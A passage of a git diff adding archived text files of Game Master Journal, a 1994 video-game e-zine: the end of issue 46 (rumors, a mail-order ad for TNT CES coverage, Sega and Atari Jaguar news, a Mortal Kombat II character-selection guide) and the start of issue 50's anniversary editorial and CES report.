Issue 46, + the CES coming up... and no issues for a month. + Wait, a month?! Yep, sorry about the delay but we are BACK and BETTER than + ever. And wait until issue 50! Can you say, Front End? + But enough about that, lets get to the rumors! + Mortal Kombat II for the Super NES? Yes, that's a given. But without the + blood? HELL NO! With Williams' new deal with Nintendo [see NEWS, below] + rumor has it that there will be no stopping the pit this time. NOA the + upcoming rating system will be in place by the time it's released. We have + heard conflicting reports: August and October 15th have both been given as THE + day. + Street Fighter for the Jag? Could it be? YES. Super Street Fighter II + Turbo should hit the Jag first, even before the Super NES. And here's why: + Capcom has got to be unhappy with NOA's deal with Williams. Capcom has never + been happy with their games on the Genesis. So.. JAGUAR TIME! + Well, got deadlines to meet. Cya's at Blockbuster's World Game Tourney! + + ..................................................................... + :WE are the only magazine that prints ALL EMAIL sent to us that is : + :not vulgar or obscene. So.. send your videogame hints, tips + Q's!: + : : + :# # ##### # # ### # # ##### ##### # # ### ##### # : + :# # # # # # # ## # # # ## ## # # # # : + :# # ### # # ##### # # # # ### # # # ##### # # : + :# # # # # # # # # # ## # # # # # # # # : + : # # ##### # # # # # # # ##### # # # # ##### #####: + : ........................: + :shubert@usc.edu VOICE: 213-743-1877 : : + :------------------ : Without email, GMJ : + :ccd@panix.com : can't work! So tell : + :tnkutasz@ugcs.caltech.edu : us what you think! : + : : : + :...........................................:.......................: + + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + CREATE THE EMAIL CONTEST! + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + sonic@too.fast.to.see.sega.com andy.eddy@better.editor.idg.com + bonk@get.a.clue.tti.edu project.reality@vaporware.nintendo.com + + This contest is simple: send us your creative, sarcastic and funny email + addresses and we'll print them! The funniest each MONTH gets $10. So.. + email your addresses to the address above and make the subject line + "[GMJ] email contest". + + +[--ADVERTISEMENT-------------------------------------------------------------] +******************/\********************************************************* +*****************/ /********* A Renegade Technologies Unlimited Production ** +****************/ /********************************************************** +** _______ /\ / /_______ ****************************** _ ************** +**/__ __// \/ //__ __/ *** / ********************* @\ ___ **** +** / / / /\ / / / *** / ********** ___ ___ | | | | *** +** / / / / / / / / *** \ | | |\/| |\/| | | ] [___| [___| *** +**/_/ / / /_/ /_/ *** \ | | | | | | |___ [___] | | *** +******/ /******************** / | | | | | | | | \ | | *** +*****/ /* -The Next Thing- ** / [__] | | | | [___ | \ | | *** +*****\/********************************************************************** +***************************************************************************** +** Get Your Hands On The Single Best Summer CES Resource Available! ** +***************************************************************************** + + TNT: The only great way to get Summer Consumer Electronics Show coverage. + + Less than a month ago, someone suggested the possibility that the editors +of the Internet's game magazinen could team up and produce a single incredible +Internet resource. At the time, the idea seemed impossible -- besides the +logistic problems, why eliminate the quality competitive atmosphere currently +in place? + That's when it happened. After Team Renegade announced TNT (The Next +Thing) magazine, we received tons of E-mail from interested writers, supporters +and customers. The editors of Game Master Journal, Intelligent Gamer and +VidBits +have all generously endorsed TNT as a true success in the making (and we didn't +even have to ask them! *grin*). TNT also has an extremely high-caliber staff +including many of the Internet's most talented (and thus popular) writers. +We just can't lose. + Renegade Technologies Unlimited has spent the last several weeks handling +orders, organizing the TNT staff and preparing to expand our sales outwards +into local game stores. We're taking orders from as far away as Germany and +from places as close as Maine. Why so much interest? Because we're going to +deliver what the major game magazines cannot: Comprehensive coverage of the +Summer CES, which means you'll get detailed information on almost every video +game to hit the shelves in the next 6-12 months. Photographs. Articles. +Real analysis, not just some paragraph off the back of the game box. + Here's the story. Take a look back at some of your old game magazines. +How much CES coverage did you find? 10 pages? Maybe 15 at best? I have three +words for you: You've been screwed. Ever wonder why the major gaming mags +can only squeeze a few pages of information out of a show that lasts for +three or four days? Answer: Their "writers" don't pay much attention. Snap a +picture, make up a 30-word synopsis, and that's what the game was like at CES. + If you believe that every video game is worth thirty words and a photo, +you deserve what you've been getting. Stop reading now and go back to sleep +until you're woken up by the crowds rioting at the local K-Mart for their +home versions of Ridge Racer. Otherwise, read on and discover why your world +is about to change dramatically for the better. + The last CES yielded at least four huge packed bags full of literature, +press kits and neat information that often never appeared in the mainstream +gaming magazines. Best yet, RTU made the information available immediately +while conducting IRC discussions for several nights in a row, answering any +and all questions regarding the CES. Eternal Champions fanatics heard complete +descriptions of the game's characters roughly five months before the game was +released, including two characters which never appeared in the game's final +version. Jaguar press release and video tape information was discussed far in +advance of the system's first official press conference. Gamers received +candid and honest assessments of almost every single console-based video game +on the show floor, even though the major magazines waited months to say the +exact same things RTU said. + Now things are getting better. Team Renegade is producing a one-shot +deal for fanatic gameplayers and even your lazy buddies who are just getting +around to playing Super Mario 2. We don't need to compete with the major +gaming magazines for their CES coverage. Simply put, they suck. When you sit +down at the end of CES with a hundred photographs and fifty pounds of game +literature, it's almost laughable to consider that VideoGames gave the +show five pages and about 100 words of text. RTU is going to bring CES home +to you with our unique new magazine format devoted exclusively to the +Summer CES. + We're calling it Project TNT: The Next Thing. + + The high-quality TNT magazine will be a hardcopy printed booklet with +many pages devoted to the show's general highlights and notable events. For the +reader's maximum enjoyment, additional computer disks [available in IBM and +Macintosh formats] will carry photographs (and perhaps digitized sound files) +from the show. Does TNT sound like it will kill your pocketbook? Here's why the +answer is no: Team Renegade set down four main goals for Project TNT; +flexibility, cost-efficiency, functionality and quick delivery. You can order +*only* the magazine if you so desire, or spend a little bit more and get +brand new high-resolution photographs far in advance of the major magazines. + +[*] Flexibility: [*] Today's gamer owns two or three systems and generally + despises competing companies. Do you own a 3DO and hate + Atari and their Jaguar? Or a Genesis and hate Nintendo? + Well, don't spend the money on information you'll just + skip anyway. The TNT magazine will be available in + your choice of configurations -- you pick the systems + you want and we'll send you the appropriate disks and + printed materials. + +[*] Cost-Efficiency: [*] The printed TNT magazine with CES highlights will + cost only $5.50, roughly what you would pay + for a crappy five-page synopsis in some trashy + mainstream magazine. Each company-specific set of + disks and additional printed materials will cost + an additional $4.50, and a disk of miscellaneous + photos and out-takes will also be $4.00. That + miscellaneous disk will include pictures from + companies like Sony, TTI and Commodore (if any + of them show up for CES). We're selling + Atari, Nintendo, Sega and 3DO company disks which + will include the aforementioned companies' + licensees as well. If you want to buy the whole + compendium of CES information, the price is $23. + +[*] Functionality: [*] IBM or Macintosh disks will be included with + each company-specific or miscellaneous/outtakes- + disk order. The photographs will be in PICT format + for the Macintosh (readable by any program including + TeachText) and .GIF format for the IBM. You'd be + amazed at how much high resolution detail we were + able to squeeze into the last Summer CES photos; + more, believe it or not, than could be seen without + a magnifying glass. The printed magazine can be + kept on your desk, framed above your fireplace or + used as a security blanket. Regardless of what you + do with it, it'll look cool and contain entertaining + insights into the real nature of the CES show. + +[*] Quick Delivery: [*] Here's the best part. Waiting sucks and no one knows + it better than Team Renegade and you. We're making a + guarantee that TNT will be released at a *maximum* + of three weeks after CES. We're going to try for two + weeks or less, but we can't control everything. + Remember, we're not talking about just printing + regurgitated press releases and press kit photos; + you'll see the former on the Internet within a day + of release to the media. TNT will feature the types + of nook and cranny questions no one seems to ask. + + Renegade Technologies Unlimited is committed to the production of an +exceptional piece of journalism. The TNT magazine will be both comprehensive +and professionally produced, delivered faster than the major magazines and +far more insightful for certain. RTU will be maintaining a professional +set of records for those who order TNT in advance and we make an absolute +guarantee that if we cannot deliver the product we will instantly refund +your money. Additionally, if Sega and their licensees have no presence at +the CES (which is quite doubtful in my mind), we'll refund the cost of +the Sega-specific diskettes. + Want to see the quality of our past work? Check out the BUSOP.CIT.WAYNE. +EDU site (cd pub/ces and pub/pselect) for high quality photographs, game +reviews +and information... or read the work of our staff in such publications as +GamePro, VideoGames magazine, Wired, Intelligent Gamer, VidBits and Game Bytes. +You'll appreciate our devotion to customer satisfaction and the degree of our +attention to properly handling your order. + Order today and be guaranteed the best *honest* information directly +after the Summer CES. No slobbering over lame software, no ass kissing, just +the facts and the photographs to prove them. + + Jer Horwitz + President + Renegade Technologies + - Unlimited - + +Renegade Technologies Unlimited is proud to announce the staff of TNT: + + Ralph Barbagallo Kenneth Drake David Hilgendorf Jer Horwitz + Robert Huebner Russell Kumro William Reardon Rick Reynolds + Richard Shartzer Sergei Shimkevich Teh Kao Yang Kimberly Ziembiec + Anthony Shubert David Rubin Tanya N. Kutasz + +******************/\********************************************************* +*****************/ /********* A Renegade Technologies Unlimited Production ** +****************/ /********************************************************** +** _______ /\ / /_______ *************************************************** +**/__ __// \/ //__ __/ ** __ __ ** +** / / / /\ / / / ** [ ] __ _ __ __ | __ __ ** +** / / / / / / / / ** | | [ ] | \ [ [ ] | [ ] [ ] |\ /| ** +**/_/ / / /_/ /_/ ** | | [__] | | |__ [__] [__ | | |__] | \/ | ** +******/ /******************* | | | \ | | | | \ | | | | \ | | ** +*****/ /* -The Next Thing- * [__] | \ [_/ [__ | \ | [__] | \ | | ** +*****\/********************************************************************** +***************************************************************************** +** Print It Out, Grab A Check or Money Order, Then Mail It To Us! ** +***************************************************************************** + + Number +of Copies: + + [ ] TNT Printed Magazine: Includes detailed information about the best + [ ] and worst at CES; contains no disks but will include some printed + digitized photographs. A high-quality printed publication without + the childish handwriting you find in "fanzines." $5.50 per copy. + + [ ] TNT Extended Atari Coverage: Get the inside track on Atari's booth + [ ] at the CES, where nearly 100 developers have signed on to develop + Jaguar products. $4.50 per Atari extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Nintendo Coverage: See what Nintendo and its licensees + [ ] will be selling during the Christmas shopping season. Project Reality? + New portable Nintendo game systems? SNES Super Street Fighter 2 and + Mortal Kombat 2? $4.50 per Nintendo extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Sega Coverage: Despite plans to hold their own Sega show + [ ] in sunny Florida, there should most likely be a ample representation + of Sega software at Summer CES. A Genesis Mortal Kombat 2 and Super + SF2? Saturn? $4.50 per Sega extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended 3DO Coverage: With a powerful multimedia machine and + [ ] several hundred licensees, there will be plenty of amazing 3DO + hardware and software on display. The new Samsung 3DO machine? The + IBM-compatible 3DO-on-a-card? $4.50 per 3DO extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Miscellaneous and Outtakes Disks: The types of stuff we couldn't + [ ] quite categorize elsewhere. Last Summer CES had photos of Neon Man, + this incredibly dopey guy who did exercises in neon-tubed clothing + so he could sell neon lights for cars. We'd also anticipate some + shots of Sony's PS-X (if they choose to display it), any TTI game + system, Commodore CD-32 and the like. When you're not crying about + TTI, you can laugh at morons like Neon Man. $4.00, Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Grand Package: For $23 you get the magazine and all the extensions + [ ] including their disks and printed hardcopies. Specify IBM or Mac disks. + +TNT will be mailed to the following address: + + +Name/Business: _____________________________________________ + + + +Street Address: ____________________________________________ + + + +City, State, Zip: __________________________________________ + + + +* Country: _________________________________________________ + + +Phone Number At Which You Can Be Reached (and appropriate hours): + + +(________) ________ - ___________ ____________________________ + + +Internet Address (or other Electronic Service) (Please be accurate): + + +_______________________ @ ____________________________________________ + +Special Deal (if any, see below): + + +_________________________________________ + +* INTERNATIONAL ORDERS ONLY: Type of Shipping Preferred: + + + +_________________________________ (Parcel Post/Printed Matter; include +payment) + +****************************************************************************** +******************************* - Clip Here - ******************************** + + RTU recommends the use of US Mail Postal Money Orders but will also + accept valid personal checks and other legitimate types of money + orders. * Please make all checks and money orders out to Jer Horwitz. * + =---------------------------------------------------------= + +* = International TNT Orders: + + International TNT orders will be accepted with payment in United States +funds only, and we advise use of either American Express money orders or +cashiers' checks from large international banks. The rates quoted below are +for US Mail standard international air service and are based upon estimates of +package weight -- we do not intend to profit from shipping costs and RTU will +absorb losses if the magazine is heavier than anticipated. US Mail currently +claims the following rates will deliver a package within 7-10 days of mailing; +RTU makes no guarantees regarding the US Mail's system of international +deliveries but we do guarantee that RTU will promptly mail all materials to +you upon completion of the publication. + +Overseas mailing rates (in Europe [outside of the United States]): + +Printed Matter Rate for any TNT order (take some risk of damage given +disk contents, though we'll try to prevent it on this end): add $7.00 for +shipping. + +Parcel Post Rates (treated like packages, with somewhat more care): + For the TNT magazine without any additional supplements: add $4 for shipping. + For TNT with one supplement: add $5.50 for shipping. + For TNT with two supplements: add $7.00 for shipping. + For TNT with three supplements: add $8.50 for shipping. + For the TNT Grand Package (or 4 supplements): add $9.25 for shipping. + +Canadian and Mexican (hehe) mailing rates: + +Printed Matter Rate for any TNT order (take some risk of damage given +disk contents, though we'll try to prevent it on this end): add $4.00 for +shipping. + +Parcel Post Rates (treated like packages, with somewhat more care): + + For the TNT magazine without additional supplements: add $2.50 for shipping. + For TNT with one supplement: add $3.75 for shipping. + For TNT with two supplements: add $5.00 for shipping. + For the TNT Grand Package (or 3-4 supplements): add $5.50 for shipping. + +Please mail completed order form and appropriate payment to: + + Renegade Technologies Unlimited + 37 LeBrun Circle + Amherst, New York 14226-4120 + USA + Attention: TNT Magazine. +[--ADVERTISEMENT-------------------------------------------------------------] + ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ \ +\ # # ##### # # ### # # #### #### ### ##### ##### / +/ ## # # # # # # # # # # # # # # # \ +\ # # # ### # # ### # # #### # # ##### # ### / +/ # ## # # # # # # # # # # # # # # \ +\ # # ##### # # #### ### # #### # # # ##### / +/ Sega inks deal with MGM, Atari shows list of upcoming Jag titles \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + REDWOOD CITY, Calif. (AP) -- Sega of America Inc. and Metro-Goldwyn-Mayer + Inc. will jointly create video games, movies and television programs. + The companies said the new products would be based on original ideas -- a + first for such a collaboration. But Sega and MGM said they also may decide to + develop games based on upcoming movie releases. + MGM and Sega will invest undisclosed amounts in the venture, which was + announced on Wednesday. + "Clearly this deal allows us to blend the strengths of both companies," + said Alan Cole-Ford, MGM's executive vice president for strategy and + development. + The deal blends the studio's expertise in developing and writing stories and + access to acting talent with Sega's technical and game-playing know how, he + said. + Sega and MGM said they would immediately start work on titles for Sega + compact disk, its Genesis 32-bit cartridge player and still-in-the-works + Saturn CD player. + The CD games would feature real actors, whose recorded actions would respond + to players' commands. + "We've believed the melding of live-action video and computer technology as + a great means of delivering a cinematic experience on an inexpensive home game + system for some time," said Tom Kalinske, president and chief executive + officer of Sega of America. + The deal is not the first involving a video game company and a film studio. + But it is the first in which such companies will collaborate from an idea to + completed product. + Sega, part of Sega Enterprises Ltd. of Japan, has worked with several + studios, including Walt Disney Co., which helped develop Sega's hit + "Aladdin" game, which was based on the movie. + Also on Tuesday, Warner Bros. and Acclaim Entertainment Inc. reached an + agreement to make video game versions of the upcoming movie "Batman + Forever." + + + SUNNYVALE, Calif. (GMJ) -- Atari has furnished us with a list of companies + and the games they are working on for the Jaguar. The list is unedited to + show "holes" in the list as it was given to us (Atari could not give us a + complete list, but they could tell us the incomplete parts.) + Do not call these companies as most customer service reps will not have info + on these games. Stay tuned to GMJ, your Jaguar information source. + + THIRD PARTY CHECKLIST + PUBLISHER DEVELOPER TITLE (- CD title) IN STORE + =========================================================================== + All Systems Go All Systems Go Hosenose and Booger 4th Qtr 94 + All Systems Go All Systems Go -BIOS Fear 4th Qtr 94 + Anco Software Ltd Anco Software Ltd Kickoff 3/World Cup July + Beyond Games Inc Beyond Games Inc BattleWheels December + Beyond Games Inc Beyond Games Inc Ultra Vortex September + _____ _____ _______ _____ _____ _______ __________ _______ + _____ _____ _______ _____ _____ _______ _________ _______ + DTMC DTMC Lester the Unlikely -N/A- + Gremlin Graphics Gremlin Graphics Zool 2 October + ________ ________ __________ ________ + Ocean Krisalis Software Soccer Kid June + -N/A- Loriciel S.A. Extreme Skiing/Snwbord -N/A- + __________ __ ___________ __ _______ ____ _____ + -N/A- Microids Commando December + -N/A- Microids -Evidence 1995 + MidNite Ent. Inc MidNite Ent. Inc Air Cars October + MidNite Ent. Inc MidNite Ent. Inc Dungeon Depths October + MidNite Ent. Inc MidNite Ent. Inc Assault 1st Qtr 95 + Telegames Millenium/Teque Brutal Sports Football July + ____ _______________ ____ ___ ______ ______ + Ocean Software Ltd Ocean Software Ltd Ape Sh_t (WT) December + Ocean Software Ltd Ocean Software Ltd -Lobo 1995 + Ocean Software Ltd Ocean Software Ltd Theme Park 3rd Qtr 94 + Ocean Software Ltd Ocean Software Ltd Syndicate 3rd Qtr 94 + ______ _______ ____ ______ _______ ____ ______ ______ _______ + -N/A- Photosurealism Galactic Gladiators 4th Qtr 94 + PIXIS Interactive PIXIS Interactive -Neurodancer -N/A- + -N/A- Virtual Xperience Zzyorxx II July + -N/A- Virtual Xperience Indiana Jag July + -N/A- Silmarils -Robinson's Requiem September + ____ _________ ____________ ____ + Telegames Telegames Ultimate Brain Games September + Telegames Tradewest Double Dragon V July + Telegames Tradewest Troy Aiken NFL Ftball July + Trimark Interactive Trimark Interactive White Men Can't Jump October + U.S. Gold Ltd. Tietex/Delphine Flashback July + ___ ____ ___ ____ ______ _________ __ ___ __ + 21st Century 21st Century Pinball Dreams September + Virgin UK Argonaut Creature Shock ____ + V-Reel V-Reel Horrorscope ____ + V-Reel V-Reel Arena Football ____ + Readysoft Readysoft Dragon's Lair ____ + + ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ ### #### ##### ### ##### ### # \ +\ # # # # # # # # # / +/ ### #### ### # # ##### # #### ##### #### ### #### ##### \ +\ # # # # # # # # # # # # # # # # # # / +/ #### # ##### ### ##### # # ####### ### #### # # #### # \ +\ # # # # # # # # # / +/ # # ##### # ### # # # \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + Ultimate Mortal Kombat II guide, part 6 + "Chess", or choosing your character + + One of the most overlooked parts of Mortal Kombat is character selection. + What character you pick -- and when you pick it -- is almost as important + as knowing when to uppercut or to throw a fireball. + + First, answer a few simple questions. Who are you good with? Who are your + three best and worst characters? Can you compete using any of the 12 + characters? + + Figure out what match-up you DO NOT want for each character, and which one is + IDEAL for each character you'll play. You should learn several characters so + you do not get trapped into a match-up you can't win. Learn your strengths + and weaknesses so you know what is coming at all times. + + Find your strong character and choose him or her often. But don't be obvious: + play _The Game_. The Game is the 15 second period before the fighting starts + where the two players choose characters. Learn the count -- the length of + time between you press START and your character is chosen automatically by the + computer -- and use it to your advantage. Learning the count will allow you + to get the match-up YOU want, not one your foe wants. + + For instance: Lets say that you are good at Raiden. You want to be Raiden, + unless your foe is Liu Kang, because Raiden vs. Liu is suicide for the Thunder + God. So, you want to be Scorpion if he's Liu. + + OUTCOME #1: + When you press start you are on Liu Kang, and your foe is on Reptile. He + moves over to Liu Kang, you move to Scorpion and press block (or any other + button) to choose him. Then HE moves to Jax, someone you aren't good against, + chooses him and proceeds to trash you. What happened? + + Well, this is a common mistake. NEVER PICK YOUR GUY/GAL FIRST. EVER. This + is how you lose. Selecting the character first puts you at the mercy of your + opponent, allowing him to pick his best character against the one you have + chosen. + + OUTCOME #2: + Instead of moving to Liu he moves to Shang Tsung. You think "Cool!" and go + over to Raiden, and because you have learned from your mistake from #1, you + wait. He doesn't want that match-up, so he moves to Liu. You move to Scorp. + He goes to Jax. Time runs out, ou get thrashed. ACK! + + You moved to your character-of-choice too soon! This gets you in a game of + "tag", where you pick a guy, then I do, then you move, then I do, and so on. + This is avoided by waiting until time is about to run out, then move to your + guy. + + OUTCOME #3: + You wait 12 out of the 15 seconds and then move to Raiden. You have your foe + trapped on a wierd (to him) character, and thrash him throughly! + + Congrats - you have learned The Game. Most people call this Chess... because + it's all a mind game. + + ##### # # ##### ### # # ##### ### #### ##### # # + # # # # # ## ## # # # # # # # + # ##### ### # ## # # # # # #### ### # # + # # # # # # # # # # # # # # # # # + # # # ##### ### # # ## ### # # ##### # # + +Anthony Shubert "Ace" Publisher / EIC + Lives in Quincy, MA + Loves Virtua Fighter + Dislikes flames +Reny Falzarano "Da Phunky Home Systems Editor + Pheel One" Lives in Massachusettes + Loves Disney's Aladdin and Super SF2 + Dislikes deadlines + Learns from his high school +CJ Mushala "Instigator" Home Systems Editor + Lives in Massachusettes + Loves his Sega CD + Dislikes deadlines + Learns from his high school, too +Tanya N. Kutasz "Arkady" Future Wave Editor + Lives in Pasedena, California + Loves netDOOM + Dislikes travelling to Southern Cal and back + Learns from Caltech +David Rubin "Cue" Contributing Editor + Lives in Manhattan, New York + Loves the Jaguar and ALL new games + Dislikes deadlines and UNIX + Learns from his high school, three +Sharon Birdsall "Shez" Spokesperson / Gamer + Lives in South Carver, Massachusettes + Loves her Game Boy + Dislikes road trips + "Learned all I needed a while ago!" + ++----------------------------------------------------------------------------+ +| | +| IN THE NEXT * Summer CES preview | +| ISSUE OF... * Blockbuster World Game Championship update | +| * Reader Survey | +| GAME MASTER * Your letters | +| JOURNAL * The Maximum Arcade + GMJ BBS info | +| | ++----------------------------------------------------------------------------+ + +Producer: Anthony Shubert Online Layout Editor: Anthony Shubert +Head Writing Staff: Contributors: + HOME SYSTEMS Reny Falzarano Mr. Sims, the Pepperidge Farmer, + HEAD REVIEWERS CJ Mushala Mr. Mojo Risin', Aquarius, + FUTURE WAVE Tanya Kutasz Eli, Sai-Blade, Matrix, Shez +CONTRIBUTING ED David Rubin + +We are not affiliated with or endorsed by the following companies: +Nintendo of America, Sega Enterprises, Turbo Technologies (NEC), +Atari Corp., Atari Games, SMSG, or any other videogaming company. + +Product names are either (c) or trademarks of their respective +companies, and the non-marking of such product is not a challenge to +its status. + +Ace's Angles, Chronicle, Express Mail, Warp Zone, and all content are +(c) 1990, 1991, 1992, 1993, 1994 Innovative Creations + +:: Some ASCII/ANSI work created with use of 'TheDraw' SW program :: +:: Some ASCII work created with use of 'Figlet' freeware program :: + diff --git a/textfiles.com/games/gmj50.d70 b/textfiles.com/games/gmj50.d70 new file mode 100644 index 00000000..12064d73 --- /dev/null +++ b/textfiles.com/games/gmj50.d70 @@ -0,0 +1,936 @@ +GMJ: the FIRST emag on the Net.. "It's good to see you again, Anthony." + -Tom Kalinske, president of Sega of America ++==| Super NES |==| Genesis |==| Arcade |==| Jaguar |==| News |==| Opinion |==+ +| ____ __ __ _ | +| / ___| __ _ _ __ ___ ___ | \/ | __ _ ___| |_ ___ _ __ | +| | | _ / _` | '_ ` _ \ / _ \ | |\/| |/ _` / __| __/ _ \ '__| | +| | |_| | (_| | | | | | | __/ | | | | (_| \__ \ || __/ | | +| \____|\__,_|_| |_| |_|\___| |_| |_|\__,_|___/\__\___|_| | +| | +| _ _ | +| | | ___ _ _ _ __ _ __ __ _| | | +| _ | |/ _ \| | | | '__| '_ \ / _` | | | +| | |_| | (_) | |_| | | | | | | (_| | | | +| \____/\___/ \__,_|_| |_| |_|\__,_|_| | +| | +| An Innovative Creations production June 28 - July 3, 1994 | ++=============================================================================+ + ___ ____ ___ + |_ _|___ ___ _ _ ___ | ___| / _ \ + | |/ __/ __| | | |/ _ \ |___ \| | | | + | |\__ \__ \ |_| | __/ ___) | |_| | + |___|___/___/\__,_|\___| |____/ \___/ + + Ace's Angles + A look back at the first 50 issues of GMJ, and Summer CES musings + CES Report, part one + Nintendo unveils Donkey Kong Country + Sega shows 32X + Atari shows JagCD, Alien vs. Predator and more + Acclaim highlights nearly-finished Mortal Kombat II, with blood + Capcom lets players awe at Super Street Fighter II for SNES + GMJ's RLR: Real Life Rankings + 5 best and worst reactions to the term, 'online magazine' from the CES + Super NES Reviews + FIFA International Soccer + Steven Segal is the Final Option + Wild Guns + Project TNT + The Next Thing - the best in CES coverage + In the next GMJ... + Atari's President Sam Tramiel, 3DO and 3rd-party SNES/Genesis titles + ++============================================================================+ +| ___ _ ___ _ | +| / _ \ ( ) / _ \ | | | +| | |_| | ___ __|/ ___ | |_| |_ __ __ _| | ___ ___ | +| | _ |/ __/ _ \/ __| | _ | '_ \ / _` | |/ _ \/ __| | +| | | | | (_| __/\__ \ | | | | | | | (_| | | __/\__ \ | +| |_| |_|\___\___||___/ |_| |_|_| |_|\__, |_|\___||___/ | +| __/ | | +| |___/ | ++============================================================================+ + Happy anniversary, happy anniversary. Happy anniversary, HAAAA--PPY + anniversary! [Picture me singing it a la the Flintstones.] Hi gang, and + welcome to the big 5-0 edition of A's A. It's me, Anthony "Ace" Shubert, and + here's my thoughts del week... + GMJ is my baby. And it's now fifty issues old... I'd like to thank + everyone that has made this possible, in order of me thinking of them... + Our readers: without all of you, this would not be possible. The feedback + we get every week means more than you know. + My mother : to put up with me for 2 years doing GMJ out of our home proves + one of two things; she cares or she's nuts. [Answer: #1.] + Dean Collins:my time working at Dean's Video was the foundation for GMJ. + by hiring me when I was 12 [yes, 12! Not _hiring me_, but + letting me run my videogame events there...] it sparked my + interest in working in the biz. + Harvey Pratt:It's the office space, stupid! :) Good guy that let a gamer + dream... + John Walsh, Brian Walsh, Sheldon Wong and Timothy Shubert: + To the 'original 4' writers of GMJ - thanks. G, Yoyoman, Emax + and Matrix are doing other things now, but without them we + would still be a newsletter. + Eric Torvey: It was a pleasure to know you - and many of you will see his + name in lights when he hits broadway. (ET) + Dave and Marc Scott: + I wish you finally find your Mega Drive. (MANX and XMAN) + Ed Roman, Reny Falzarano, and CJ Mushala: + To the 'second three' - a needed trio if there ever was one. + Reny's and CJ's reviews were the most honest we ever got around + here.. a model for all reviewers [in all magazines] to follow. + Ed, your SF2CE strat guide was fantastic - better than the FAQ. + (SAI-BLADE, PHUNKY and INSTIGATOR) + David Rubin, Tanya Kutasz, and Jeff Sauls: + The 'big three' have really changed the magazine for the + better. Tanya's news. Jeff's guides and Dave's reviews have + kept the mag going through a tough period.. I'm glad to have + them here. + (CUE, ARKADY and ELI) + USC School of Journalism: + Thanks for accepting the online medium as a viable one. + Everyone will be doing this soon - I'm glad we are first. + VidBits, Intelligent Gamer, Frontier, Game Bytes and The Gaming Forum + Yes, I'm thanking all of you. VB was a great mag Matt. Ross, + Game Bytes is a great example of where the medium is going. + IG, you'all need to be on time if you want to succeed! + Frontier, copiers are illegal and immoral. 'Nuff said. + TGF, flames == (bad writing) + (insults) + (ANSI graphics on + the newsgroups). WYSIWYG here. + Frank Moffitt and the NQ Black Box Drama Club: + Just remember that falling down the stairs is not as bad as + rehersing in volleyball gear. =] + I guess that's enough waxing reflective, lets get to the Summer CES stuff! + Enjoy GMJ 50, and I'll cya next week. Enjoy the Fourth. + + _____________________________________________________________________ + ]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[ + ] Innovative Creations [ + ] 25 Temple Street +--- + + +--+ +--+ +--- +-- +-- [ + ] Quincy, MA 02169 |- ++ +--+ |-++ |- +--+ +--+ [ + ] (shubert@usc.edu) +--- + + | | \ +--- --+ --+ [ + ] |\ /| +--+ -+- | [ + ] | | |--| | | [ + ] | | | | -+- +--- [ + ]_____________________________________________________________________[ + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + The mail section returns next week. Please send your Summer CES questions!! + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + / ************************************************************************* \ + \ ********* ### ##### ### #### ##### #### ### #### ##### ********* / + / ********* # # # # # # # # # # # # # ********* \ + \ ********* # ### ### #### ### #### # # #### # ********* / + / ********* # # # # # # # # # # # # ********* \ + \ ********* ### ##### #### # # ##### # ### # # # ********* / + / ************************************************************************* \ + +-=-=-=-=-=| PART ONE: Major Headlines of the show |-=-=-=-=-+ + + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + NINTENDO unveils Donkey Kong Country, renames Project Reality + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + The tone for the CES was set by Howard Lincoln during his aaddress to the + convention early Thursday morning. "..the video game business is still a + relatively new business and it now faces many challenges." + + And if NOA's booth is any indication, they are going to plow right through + those challenges. + + Nintendo revealed, in grand fashion, Donkey Kong Country for the Super NES. + This game will be released on November 21 with an MSRP of $69.99. You have + to see this game to believe it; when Lincoln showed it during his speech + everyone thought it was a game for the Project Reality 64-bit system coming + in late '95. Featuring 3-D rendered graphics using Silicon Graphics (SGI) + workstations, powered with Alias graphic tools, DK Country is a feast for the + eyes. [See CES Report: part 2 for more on Alias next week.] + + The game is made possible with a new design system called Advanced Computer + Modeling (ACM.) ACM uses the computer to draw each fram of movement, rather + than calling up a series of sprites drawn by artists. This also allows for + improved shading, shadows and character reality. + + The game will have several different levels and varing gameplay. Make it + from one end of the jungle to the other, going under water, through jungles + and caves, avoiding the evil Kremlings as you go. [ by Ace ] + + [--] + + Project Reality is no more. Long live the Nintendo Ultra 64! + + The 64-bit wonder will be released in the Fall of 95 with a project price of + $250. As some of you may know, it will be powered by a 1-MIPS RISC (Reduced + Instruction Set Computer) and may serve as a hub for multimedia programs. + 'NU64' will use carts rather than CDs as it's main drive. + + Online with Ultra 64 are mega-companies such as SGI, Williams/Nintendo (a + joint venture company formed by the two for exclusive Ultra 64 and arcade + games), and Industrial Light & Magic (the special effects geniuses behind the + movies 'Terminator 2' and 'The Abyss.') + + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] 